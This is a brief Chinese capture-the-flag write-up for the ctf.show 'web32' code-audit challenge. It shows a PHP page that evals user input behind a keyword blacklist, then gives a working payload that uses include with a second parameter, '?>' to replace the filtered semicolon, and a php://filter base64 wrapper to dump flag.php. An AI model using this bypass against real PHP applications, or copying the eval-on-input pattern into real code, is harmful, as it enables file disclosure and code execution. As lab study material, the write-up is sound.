web32

代码审计

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题啊,一看,过滤了分号,rnmtq

没思路,看了一眼hint,原来可以用文件包含加伪协议啊,奥对了,还有 ?> 可以绕过那个被过滤的分号,因为这相当于闭合了

payload:

http://a06773f4-15ba-4256-94c5-4ea27986f308.challenge.ctf.show/?c=include$_GET[f]?>&f=php://filter/read=convert.base64-encode/resource=flag.php

最后得到的数据base64解码就可以了